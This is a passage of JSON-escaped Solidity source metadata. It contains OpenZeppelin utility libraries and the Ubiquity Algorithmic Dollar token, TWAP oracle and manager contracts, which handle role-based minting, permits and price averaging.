`token.safeTransfer(...)`, etc.\\n */\\nlibrary SafeERC20 {\\n using Address for address;\\n\\n function safeTransfer(IERC20 token, address to, uint256 value) internal {\\n _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));\\n }\\n\\n function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {\\n _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));\\n }\\n\\n /**\\n * @dev Deprecated. This function has issues similar to the ones found in\\n * {IERC20-approve}, and its usage is discouraged.\\n *\\n * Whenever possible, use {safeIncreaseAllowance} and\\n * {safeDecreaseAllowance} instead.\\n */\\n function safeApprove(IERC20 token, address spender, uint256 value) internal {\\n // safeApprove should only be called when setting an initial allowance,\\n // or when resetting it to zero. To increase and decrease it, use\\n // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'\\n // solhint-disable-next-line max-line-length\\n require((value == 0) || (token.allowance(address(this), spender) == 0),\\n \\\"SafeERC20: approve from non-zero to non-zero allowance\\\"\\n );\\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));\\n }\\n\\n function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {\\n uint256 newAllowance = token.allowance(address(this), spender) + value;\\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\\n }\\n\\n function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {\\n unchecked {\\n uint256 oldAllowance = token.allowance(address(this), spender);\\n require(oldAllowance >= value, \\\"SafeERC20: decreased allowance below zero\\\");\\n uint256 newAllowance = oldAllowance - value;\\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\\n }\\n }\\n\\n /**\\n * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement\\n * on the return value: the return value is optional (but if data is returned, it must not be false).\\n * @param token The token targeted by the call.\\n * @param data The call data (encoded using abi.encode or one of its variants).\\n */\\n function _callOptionalReturn(IERC20 token, bytes memory data) private {\\n // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since\\n // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that\\n // the target address contains contract code and also asserts for success in the low-level call.\\n\\n bytes memory returndata = address(token).functionCall(data, \\\"SafeERC20: low-level call failed\\\");\\n if (returndata.length > 0) { // Return data is optional\\n // solhint-disable-next-line max-line-length\\n require(abi.decode(returndata, (bool)), \\\"SafeERC20: ERC20 operation did not succeed\\\");\\n }\\n }\\n}\\n\",\"keccak256\":\"0x99f5c21018d796db7833a2100bb0e7411999e248a3c950fb526eee5d2bf47cb7\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/Address.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev Collection of functions related to the address type\\n */\\nlibrary Address {\\n /**\\n * @dev Returns true if `account` is a contract.\\n *\\n * [IMPORTANT]\\n * ====\\n * It is unsafe to assume that an address for which this function returns\\n * false is an externally-owned account (EOA) and not a contract.\\n *\\n * Among others, `isContract` will return false for the following\\n * types of addresses:\\n *\\n * - an externally-owned account\\n * - a contract in construction\\n * - an address where a contract will be created\\n * - an address where a contract lived, but was destroyed\\n * ====\\n */\\n function isContract(address account) internal view returns (bool) {\\n // This method relies on extcodesize, which returns 0 for contracts in\\n // construction, since the code is only stored at the end of the\\n // constructor execution.\\n\\n uint256 size;\\n // solhint-disable-next-line no-inline-assembly\\n assembly { size := extcodesize(account) }\\n return size > 0;\\n }\\n\\n /**\\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\\n * `recipient`, forwarding all available gas and reverting on errors.\\n *\\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\\n * imposed by `transfer`, making them unable to receive funds via\\n * `transfer`. {sendValue} removes this limitation.\\n *\\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\\n *\\n * IMPORTANT: because control is transferred to `recipient`, care must be\\n * taken to not create reentrancy vulnerabilities. Consider using\\n * {ReentrancyGuard} or the\\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\\n */\\n function sendValue(address payable recipient, uint256 amount) internal {\\n require(address(this).balance >= amount, \\\"Address: insufficient balance\\\");\\n\\n // solhint-disable-next-line avoid-low-level-calls, avoid-call-value\\n (bool success, ) = recipient.call{ value: amount }(\\\"\\\");\\n require(success, \\\"Address: unable to send value, recipient may have reverted\\\");\\n }\\n\\n /**\\n * @dev Performs a Solidity function call using a low level `call`. A\\n * plain`call` is an unsafe replacement for a function call: use this\\n * function instead.\\n *\\n * If `target` reverts with a revert reason, it is bubbled up by this\\n * function (like regular Solidity function calls).\\n *\\n * Returns the raw returned data. To convert to the expected return value,\\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\\n *\\n * Requirements:\\n *\\n * - `target` must be a contract.\\n * - calling `target` with `data` must not revert.\\n *\\n * _Available since v3.1._\\n */\\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\\n return functionCall(target, data, \\\"Address: low-level call failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\\n * `errorMessage` as a fallback revert reason when `target` reverts.\\n *\\n * _Available since v3.1._\\n */\\n function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {\\n return functionCallWithValue(target, data, 0, errorMessage);\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\\n * but also transferring `value` wei to `target`.\\n *\\n * Requirements:\\n *\\n * - the calling contract must have an ETH balance of at least `value`.\\n * - the called Solidity function must be `payable`.\\n *\\n * _Available since v3.1._\\n */\\n function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {\\n return functionCallWithValue(target, data, value, \\\"Address: low-level call with value failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\\n * with `errorMessage` as a fallback revert reason when `target` reverts.\\n *\\n * _Available since v3.1._\\n */\\n function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {\\n require(address(this).balance >= value, \\\"Address: insufficient balance for call\\\");\\n require(isContract(target), \\\"Address: call to non-contract\\\");\\n\\n // solhint-disable-next-line avoid-low-level-calls\\n (bool success, bytes memory returndata) = target.call{ value: value }(data);\\n return _verifyCallResult(success, returndata, errorMessage);\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\\n * but performing a static call.\\n *\\n * _Available since v3.3._\\n */\\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\\n return functionStaticCall(target, data, \\\"Address: low-level static call failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\\n * but performing a static call.\\n *\\n * _Available since v3.3._\\n */\\n function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {\\n require(isContract(target), \\\"Address: static call to non-contract\\\");\\n\\n // solhint-disable-next-line avoid-low-level-calls\\n (bool success, bytes memory returndata) = target.staticcall(data);\\n return _verifyCallResult(success, returndata, errorMessage);\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\\n * but performing a delegate call.\\n *\\n * _Available since v3.4._\\n */\\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\\n return functionDelegateCall(target, data, \\\"Address: low-level delegate call failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\\n * but performing a delegate call.\\n *\\n * _Available since v3.4._\\n */\\n function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {\\n require(isContract(target), \\\"Address: delegate call to non-contract\\\");\\n\\n // solhint-disable-next-line avoid-low-level-calls\\n (bool success, bytes memory returndata) = target.delegatecall(data);\\n return _verifyCallResult(success, returndata, errorMessage);\\n }\\n\\n function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {\\n if (success) {\\n return returndata;\\n } else {\\n // Look for revert reason and bubble it up if present\\n if (returndata.length > 0) {\\n // The easiest way to bubble the revert reason is using memory via assembly\\n\\n // solhint-disable-next-line no-inline-assembly\\n assembly {\\n let returndata_size := mload(returndata)\\n revert(add(32, returndata), returndata_size)\\n }\\n } else {\\n revert(errorMessage);\\n }\\n }\\n }\\n}\\n\",\"keccak256\":\"0x069b2631bb5b5193a58ccf7a06266c7361bd2c20095667af4402817605627f45\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/Context.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/*\\n * @dev Provides information about the current execution context, including the\\n * sender of the transaction and its data. While these are generally available\\n * via msg.sender and msg.data, they should not be accessed in such a direct\\n * manner, since when dealing with meta-transactions the account sending and\\n * paying for execution may not be the actual sender (as far as an application\\n * is concerned).\\n *\\n * This contract is only required for intermediate, library-like contracts.\\n */\\nabstract contract Context {\\n function _msgSender() internal view virtual returns (address) {\\n return msg.sender;\\n }\\n\\n function _msgData() internal view virtual returns (bytes calldata) {\\n this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691\\n return msg.data;\\n }\\n}\\n\",\"keccak256\":\"0xf930d2df426bfcfc1f7415be724f04081c96f4fb9ec8d0e3a521c07692dface0\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/Strings.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev String operations.\\n */\\nlibrary Strings {\\n bytes16 private constant alphabet = \\\"0123456789abcdef\\\";\\n\\n /**\\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\\n */\\n function toString(uint256 value) internal pure returns (string memory) {\\n // Inspired by OraclizeAPI's implementation - MIT licence\\n // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\\n\\n if (value == 0) {\\n return \\\"0\\\";\\n }\\n uint256 temp = value;\\n uint256 digits;\\n while (temp != 0) {\\n digits++;\\n temp /= 10;\\n }\\n bytes memory buffer = new bytes(digits);\\n while (value != 0) {\\n digits -= 1;\\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\\n value /= 10;\\n }\\n return string(buffer);\\n }\\n\\n /**\\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.\\n */\\n function toHexString(uint256 value) internal pure returns (string memory) {\\n if (value == 0) {\\n return \\\"0x00\\\";\\n }\\n uint256 temp = value;\\n uint256 length = 0;\\n while (temp != 0) {\\n length++;\\n temp >>= 8;\\n }\\n return toHexString(value, length);\\n }\\n\\n /**\\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.\\n */\\n function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {\\n bytes memory buffer = new bytes(2 * length + 2);\\n buffer[0] = \\\"0\\\";\\n buffer[1] = \\\"x\\\";\\n for (uint256 i = 2 * length + 1; i > 1; --i) {\\n buffer[i] = alphabet[value & 0xf];\\n value >>= 4;\\n }\\n require(value == 0, \\\"Strings: hex length insufficient\\\");\\n return string(buffer);\\n }\\n\\n}\\n\",\"keccak256\":\"0x456e9b3a2bfe189b5249857f624f4139e59331db518483b456c4e587a20552e0\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/introspection/ERC165.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"./IERC165.sol\\\";\\n\\n/**\\n * @dev Implementation of the {IERC165} interface.\\n *\\n * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\\n * for the additional interface id that will be supported. For example:\\n *\\n * ```solidity\\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\\n * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\\n * }\\n * ```\\n *\\n * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\\n */\\nabstract contract ERC165 is IERC165 {\\n /**\\n * @dev See {IERC165-supportsInterface}.\\n */\\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\\n return interfaceId == type(IERC165).interfaceId;\\n }\\n}\\n\",\"keccak256\":\"0x5718c5df9bd67ac68a796961df938821bb5dc0cd4c6118d77e9145afb187409b\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/introspection/IERC165.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev Interface of the ERC165 standard, as defined in the\\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\\n *\\n * Implementers can declare support of contract interfaces, which can then be\\n * queried by others ({ERC165Checker}).\\n *\\n * For an implementation, see {ERC165}.\\n */\\ninterface IERC165 {\\n /**\\n * @dev Returns true if this contract implements the interface defined by\\n * `interfaceId`. See the corresponding\\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\\n * to learn more about how these ids are created.\\n *\\n * This function call must use less than 30 000 gas.\\n */\\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\\n}\\n\",\"keccak256\":\"0xa28007762d9da9db878dd421960c8cb9a10471f47ab5c1b3309bfe48e9e79ff4\",\"license\":\"MIT\"},\"contracts/ERC20Ubiquity.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/token/ERC20/ERC20.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/extensions/ERC20Pausable.sol\\\";\\nimport \\\"./UbiquityAlgorithmicDollarManager.sol\\\";\\nimport \\\"./interfaces/IERC20Ubiquity.sol\\\";\\n\\n/// @title ERC20 Ubiquity preset\\n/// @author Ubiquity Algorithmic Dollar\\n/// @notice ERC20 with :\\n/// - ERC20 minter, burner and pauser\\n/// - draft-ERC20 permit\\n/// - Ubiquity Manager access control\\ncontract ERC20Ubiquity is IERC20Ubiquity, ERC20, ERC20Burnable, ERC20Pausable {\\n UbiquityAlgorithmicDollarManager public manager;\\n\\n // solhint-disable-next-line var-name-mixedcase\\n bytes32 public DOMAIN_SEPARATOR;\\n // keccak256(\\\"Permit(address owner,address spender,\\n // uint256 value,uint256 nonce,uint256 deadline)\\\");\\n bytes32 public constant PERMIT_TYPEHASH =\\n 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;\\n mapping(address => uint256) public nonces;\\n string private _tokenName;\\n string private _symbol;\\n\\n // ----------- Modifiers -----------\\n modifier onlyMinter() {\\n require(\\n manager.hasRole(manager.UBQ_MINTER_ROLE(), msg.sender),\\n \\\"Governance token: not minter\\\"\\n );\\n _;\\n }\\n\\n modifier onlyBurner() {\\n require(\\n manager.hasRole(manager.UBQ_BURNER_ROLE(), msg.sender),\\n \\\"Governance token: not burner\\\"\\n );\\n _;\\n }\\n\\n modifier onlyPauser() {\\n require(\\n manager.hasRole(manager.PAUSER_ROLE(), msg.sender),\\n \\\"Governance token: not pauser\\\"\\n );\\n _;\\n }\\n\\n modifier onlyAdmin() {\\n require(\\n manager.hasRole(manager.DEFAULT_ADMIN_ROLE(), msg.sender),\\n \\\"ERC20: deployer must be manager admin\\\"\\n );\\n _;\\n }\\n\\n constructor(\\n address _manager,\\n string memory name_,\\n string memory symbol_\\n ) ERC20(name_, symbol_) {\\n _tokenName = name_;\\n _symbol = symbol_;\\n manager = UbiquityAlgorithmicDollarManager(_manager);\\n // sender must be UbiquityAlgorithmicDollarManager roleAdmin\\n // because he will get the admin, minter and pauser role on uAD and we want to\\n // manage all permissions through the manager\\n require(\\n manager.hasRole(manager.DEFAULT_ADMIN_ROLE(), msg.sender),\\n \\\"ERC20: deployer must be manager admin\\\"\\n );\\n uint256 chainId;\\n // solhint-disable-next-line no-inline-assembly\\n assembly {\\n chainId := chainid()\\n }\\n\\n DOMAIN_SEPARATOR = keccak256(\\n abi.encode(\\n keccak256(\\n // solhint-disable-next-line max-line-length\\n \\\"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)\\\"\\n ),\\n keccak256(bytes(name())),\\n keccak256(bytes(\\\"1\\\")),\\n chainId,\\n address(this)\\n )\\n );\\n }\\n\\n /// @notice setSymbol update token symbol\\n /// @param newSymbol new token symbol\\n function setSymbol(string memory newSymbol) external onlyAdmin {\\n _symbol = newSymbol;\\n }\\n\\n /// @notice setName update token name\\n /// @param newName new token name\\n function setName(string memory newName) external onlyAdmin {\\n _tokenName = newName;\\n }\\n\\n /// @notice permit spending of uAD. owner has signed a message allowing\\n /// spender to transfer up to amount uAD\\n /// @param owner the uAD holder\\n /// @param spender the approved operator\\n /// @param value the amount approved\\n /// @param deadline the deadline after which the approval is no longer valid\\n function permit(\\n address owner,\\n address spender,\\n uint256 value,\\n uint256 deadline,\\n uint8 v,\\n bytes32 r,\\n bytes32 s\\n ) external override {\\n // solhint-disable-next-line not-rely-on-time\\n require(deadline >= block.timestamp, \\\"Dollar: EXPIRED\\\");\\n bytes32 digest =\\n keccak256(\\n abi.encodePacked(\\n \\\"\\\\x19\\\\x01\\\",\\n DOMAIN_SEPARATOR,\\n keccak256(\\n abi.encode(\\n PERMIT_TYPEHASH,\\n owner,\\n spender,\\n value,\\n nonces[owner]++,\\n deadline\\n )\\n )\\n )\\n );\\n address recoveredAddress = ecrecover(digest, v, r, s);\\n require(\\n recoveredAddress != address(0) && recoveredAddress == owner,\\n \\\"Dollar: INVALID_SIGNATURE\\\"\\n );\\n _approve(owner, spender, value);\\n }\\n\\n /// @notice burn UAD tokens from caller\\n /// @param amount the amount to burn\\n function burn(uint256 amount)\\n public\\n override(ERC20Burnable, IERC20Ubiquity)\\n whenNotPaused\\n {\\n super.burn(amount);\\n emit Burning(msg.sender, amount);\\n }\\n\\n /// @notice burn uAD tokens from specified account\\n /// @param account the account to burn from\\n /// @param amount the amount to burn\\n function burnFrom(address account, uint256 amount)\\n public\\n override(ERC20Burnable, IERC20Ubiquity)\\n onlyBurner\\n whenNotPaused // to suppress ? if BURNER_ROLE should do it even paused ?\\n {\\n _burn(account, amount);\\n emit Burning(account, amount);\\n }\\n\\n // @dev Creates `amount` new tokens for `to`.\\n function mint(address to, uint256 amount)\\n public\\n override\\n onlyMinter\\n whenNotPaused\\n {\\n _mint(to, amount);\\n emit Minting(to, msg.sender, amount);\\n }\\n\\n // @dev Pauses all token transfers.\\n function pause() public onlyPauser {\\n _pause();\\n }\\n\\n // @dev Unpauses all token transfers.\\n function unpause() public onlyPauser {\\n _unpause();\\n }\\n\\n /**\\n * @dev Returns the name of the token.\\n */\\n function name() public view override(ERC20) returns (string memory) {\\n return _tokenName;\\n }\\n\\n /**\\n * @dev Returns the symbol of the token, usually a shorter version of the\\n * name.\\n */\\n function symbol() public view override(ERC20) returns (string memory) {\\n return _symbol;\\n }\\n\\n function _beforeTokenTransfer(\\n address from,\\n address to,\\n uint256 amount\\n ) internal virtual override(ERC20, ERC20Pausable) {\\n super._beforeTokenTransfer(from, to, amount);\\n }\\n\\n function _transfer(\\n address sender,\\n address recipient,\\n uint256 amount\\n ) internal virtual override whenNotPaused {\\n super._transfer(sender, recipient, amount);\\n }\\n}\\n\",\"keccak256\":\"0x131a8776645c08696d9aa7c4ff1d6c1bd69a899f67392556b64c6b9de7e302da\",\"license\":\"MIT\"},\"contracts/TWAPOracle.sol\":{\"content\":\"// SPDX-License-Identifier: Apache-2.0\\npragma solidity ^0.8.3;\\n\\nimport \\\"./interfaces/IMetaPool.sol\\\";\\n\\ncontract TWAPOracle {\\n address public immutable pool;\\n address public immutable token0;\\n address public immutable token1;\\n uint256 public price0Average;\\n uint256 public price1Average;\\n uint256 public pricesBlockTimestampLast;\\n uint256[2] public priceCumulativeLast;\\n\\n constructor(\\n address _pool,\\n address _uADtoken0,\\n address _curve3CRVtoken1\\n ) {\\n pool = _pool;\\n // coin at index 0 is uAD and index 1 is 3CRV\\n require(\\n IMetaPool(_pool).coins(0) == _uADtoken0 &&\\n IMetaPool(_pool).coins(1) == _curve3CRVtoken1,\\n \\\"TWAPOracle: COIN_ORDER_MISMATCH\\\"\\n );\\n\\n token0 = _uADtoken0;\\n token1 = _curve3CRVtoken1;\\n\\n uint256 _reserve0 = uint112(IMetaPool(_pool).balances(0));\\n uint256 _reserve1 = uint112(IMetaPool(_pool).balances(1));\\n\\n // ensure that there's liquidity in the pair\\n require(_reserve0 != 0 && _reserve1 != 0, \\\"TWAPOracle: NO_RESERVES\\\");\\n // ensure that pair balance is perfect\\n require(_reserve0 == _reserve1, \\\"TWAPOracle: PAIR_UNBALANCED\\\");\\n priceCumulativeLast = IMetaPool(_pool).get_price_cumulative_last();\\n pricesBlockTimestampLast = IMetaPool(_pool).block_timestamp_last();\\n\\n price0Average = 1 ether;\\n price1Average = 1 ether;\\n }\\n\\n // calculate average price\\n function update() external {\\n (uint256[2] memory priceCumulative, uint256 blockTimestamp) =\\n _currentCumulativePrices();\\n\\n if (blockTimestamp - pricesBlockTimestampLast > 0) {\\n // get the balances between now and the last price cumulative snapshot\\n uint256[2] memory twapBalances =\\n IMetaPool(pool).get_twap_balances(\\n priceCumulativeLast,\\n priceCumulative,\\n blockTimestamp - pricesBlockTimestampLast\\n );\\n\\n // price to exchange amounIn uAD to 3CRV based on TWAP\\n price0Average = IMetaPool(pool).get_dy(0, 1, 1 ether, twapBalances);\\n // price to exchange amounIn 3CRV to uAD based on TWAP\\n price1Average = IMetaPool(pool).get_dy(1, 0, 1 ether, twapBalances);\\n // we update the priceCumulative\\n priceCumulativeLast = priceCumulative;\\n pricesBlockTimestampLast = blockTimestamp;\\n }\\n }\\n\\n // note this will always return 0 before update has been called successfully\\n // for the first time.\\n function consult(address token) external view returns (uint256 amountOut) {\\n if (token == token0) {\\n // price to exchange 1 uAD to 3CRV based on TWAP\\n amountOut = price0Average;\\n } else {\\n require(token == token1, \\\"TWAPOracle: INVALID_TOKEN\\\");\\n // price to exchange 1 3CRV to uAD based on TWAP\\n amountOut = price1Average;\\n }\\n }\\n\\n function _currentCumulativePrices()\\n internal\\n view\\n returns (uint256[2] memory priceCumulative, uint256 blockTimestamp)\\n {\\n priceCumulative = IMetaPool(pool).get_price_cumulative_last();\\n blockTimestamp = IMetaPool(pool).block_timestamp_last();\\n }\\n}\\n\",\"keccak256\":\"0x24313b9e13825536130e9619cc0f3188e8ac3b1dd8199a1df5ea2d8ad0d28939\",\"license\":\"Apache-2.0\"},\"contracts/UbiquityAlgorithmicDollarManager.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/access/AccessControl.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/ERC20.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/IERC20.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\\\";\\n\\nimport \\\"./interfaces/IUbiquityAlgorithmicDollar.sol\\\";\\nimport \\\"./interfaces/ICurveFactory.sol\\\";\\nimport \\\"./interfaces/IMetaPool.sol\\\";\\n\\nimport \\\"./TWAPOracle.sol\\\";\\n\\n/// @title A central config for the uAD system. Also acts as a central\\n/// access control manager.\\n/// @notice For storing constants. For storing variables and allowing them to\\n/// be changed by the admin (governance)\\n/// @dev This should be used as a central access control manager which other\\n/// contracts use to check permissions\\ncontract UbiquityAlgorithmicDollarManager is AccessControl {\\n using SafeERC20 for IERC20;\\n\\n bytes32 public constant UBQ_MINTER_ROLE = keccak256(\\\"UBQ_MINTER_ROLE\\\");\\n bytes32 public constant UBQ_BURNER_ROLE = keccak256(\\\"UBQ_BURNER_ROLE\\\");\\n\\n bytes32 public constant PAUSER_ROLE = keccak256(\\\"PAUSER_ROLE\\\");\\n bytes32 public constant COUPON_MANAGER_ROLE = keccak256(\\\"COUPON_MANAGER\\\");\\n bytes32 public constant BONDING_MANAGER_ROLE = keccak256(\\\"BONDING_MANAGER\\\");\\n bytes32 public constant INCENTIVE_MANAGER_ROLE =\\n keccak256(\\\"INCENTIVE_MANAGER\\\");\\n bytes32 public constant UBQ_TOKEN_MANAGER_ROLE =\\n keccak256(\\\"UBQ_TOKEN_MANAGER_ROLE\\\");\\n address public twapOracleAddress;\\n address public debtCouponAddress;\\n address public dollarTokenAddress; // uAD\\n address public couponCalculatorAddress;\\n address public dollarMintingCalculatorAddress;\\n address public bondingShareAddress;\\n address public bondingContractAddress;\\n address public stableSwapMetaPoolAddress;\\n address public curve3PoolTokenAddress; // 3CRV\\n address public treasuryAddress;\\n address public governanceTokenAddress; // uGOV\\n address public sushiSwapPoolAddress; // sushi pool uAD-uGOV\\n address public masterChefAddress;\\n address public formulasAddress;\\n address public autoRedeemTokenAddress; // uAR\\n address public uarCalculatorAddress; // uAR calculator\\n\\n //key = address of couponmanager, value = excessdollardistributor\\n mapping(address => address) private _excessDollarDistributors;\\n\\n modifier onlyAdmin() {\\n require(\\n hasRole(DEFAULT_ADMIN_ROLE, msg.sender),\\n \\\"uADMGR: Caller is not admin\\\"\\n );\\n _;\\n }\\n\\n constructor(address _admin) {\\n _setupRole(DEFAULT_ADMIN_ROLE, _admin);\\n _setupRole(UBQ_MINTER_ROLE, _admin);\\n _setupRole(PAUSER_ROLE, _admin);\\n _setupRole(COUPON_MANAGER_ROLE, _admin);\\n _setupRole(BONDING_MANAGER_ROLE, _admin);\\n _setupRole(INCENTIVE_MANAGER_ROLE, _admin);\\n _setupRole(UBQ_TOKEN_MANAGER_ROLE, address(this));\\n }\\n\\n // TODO Add a generic setter for extra addresses that needs to be linked\\n function setTwapOracleAddress(address _twapOracleAddress)\\n external\\n onlyAdmin\\n {\\n twapOracleAddress = _twapOracleAddress;\\n // to be removed\\n\\n TWAPOracle oracle = TWAPOracle(twapOracleAddress);\\n oracle.update();\\n }\\n\\n function setuARTokenAddress(address _uarTokenAddress) external onlyAdmin {\\n autoRedeemTokenAddress = _uarTokenAddress;\\n }\\n\\n function setDebtCouponAddress(address _debtCouponAddress)\\n external\\n onlyAdmin\\n {\\n debtCouponAddress = _debtCouponAddress;\\n }\\n\\n function setIncentiveToUAD(address _account, address _incentiveAddress)\\n external\\n onlyAdmin\\n {\\n IUbiquityAlgorithmicDollar(dollarTokenAddress).setIncentiveContract(\\n _account,\\n _incentiveAddress\\n );\\n }\\n\\n function setDollarTokenAddress(address _dollarTokenAddress)\\n external\\n onlyAdmin\\n {\\n dollarTokenAddress = _dollarTokenAddress;\\n }\\n\\n function setGovernanceTokenAddress(address _governanceTokenAddress)\\n external\\n onlyAdmin\\n {\\n governanceTokenAddress = _governanceTokenAddress;\\n }\\n\\n function setSushiSwapPoolAddress(address _sushiSwapPoolAddress)\\n external\\n onlyAdmin\\n {\\n sushiSwapPoolAddress = _sushiSwapPoolAddress;\\n }\\n\\n function setUARCalculatorAddress(address _uarCalculatorAddress)\\n external\\n onlyAdmin\\n {\\n uarCalculatorAddress = _uarCalculatorAddress;\\n }\\n\\n function setCouponCalculatorAddress(address _couponCalculatorAddress)\\n external\\n onlyAdmin\\n {\\n couponCalculatorAddress = _couponCalculatorAddress;\\n }\\n\\n function setDollarMintingCalculatorAddress(\\n address _dollarMintingCalculatorAddress\\n ) external onlyAdmin {\\n dollarMintingCalculatorAddress = _dollarMintingCalculatorAddress;\\n }\\n\\n function setExcessDollarsDistributor(\\n address debtCouponManagerAddress,\\n address excessCouponDistributor\\n ) external onlyAdmin {\\n _excessDollarDistributors[\\n debtCouponManagerAddress\\n ] = excessCouponDistributor;\\n }\\n\\n function setMasterChefAddress(address _masterChefAddress)\\n external\\n onlyAdmin\\n {\\n masterChefAddress = _masterChefAddress;\\n }\\n\\n function setFormulasAddress(address _formulasAddress) external onlyAdmin {\\n formulasAddress = _formulasAddress;\\n }\\n\\n function setBondingShareAddress(address _bondingShareAddress)\\n external\\n onlyAdmin\\n {\\n bondingShareAddress = _bondingShareAddress;\\n }\\n\\n function setStableSwapMetaPoolAddress(address _stableSwapMetaPoolAddress)\\n external\\n onlyAdmin\\n {\\n stableSwapMetaPoolAddress = _stableSwapMetaPoolAddress;\\n }\\n\\n /**\\n @notice set the bonding bontract smart contract address\\n @dev bonding contract participants deposit curve LP token\\n for a certain duration to earn uGOV and more curve LP token\\n @param _bondingContractAddress bonding contract address\\n */\\n function setBondingContractAddress(address _bondingContractAddress)\\n external\\n onlyAdmin\\n {\\n bondingContractAddress = _bondingContractAddress;\\n }\\n\\n /**\\n @notice set the treasury address\\n @dev the treasury fund is used to maintain the protocol\\n @param _treasuryAddress treasury fund address\\n */\\n function setTreasuryAddress(address _treasuryAddress) external onlyAdmin {\\n treasuryAddress = _treasuryAddress;\\n }\\n\\n /**\\n @notice deploy a new Curve metapools for uAD Token uAD/3Pool\\n @dev From the curve documentation for uncollateralized algorithmic\\n stablecoins amplification should be 5-10\\n @param _curveFactory MetaPool factory address\\n @param _crvBasePool Address of the base pool to use within the new metapool.\\n @param _crv3PoolTokenAddress curve 3Pool token Address\\n @param _amplificationCoefficient amplification coefficient. The smaller\\n it is the closer to a constant product we are.\\n @param _fee Trade fee, given as an integer with 1e10 precision.\\n */\\n function deployStableSwapPool(\\n address _curveFactory,\\n address _crvBasePool,\\n address 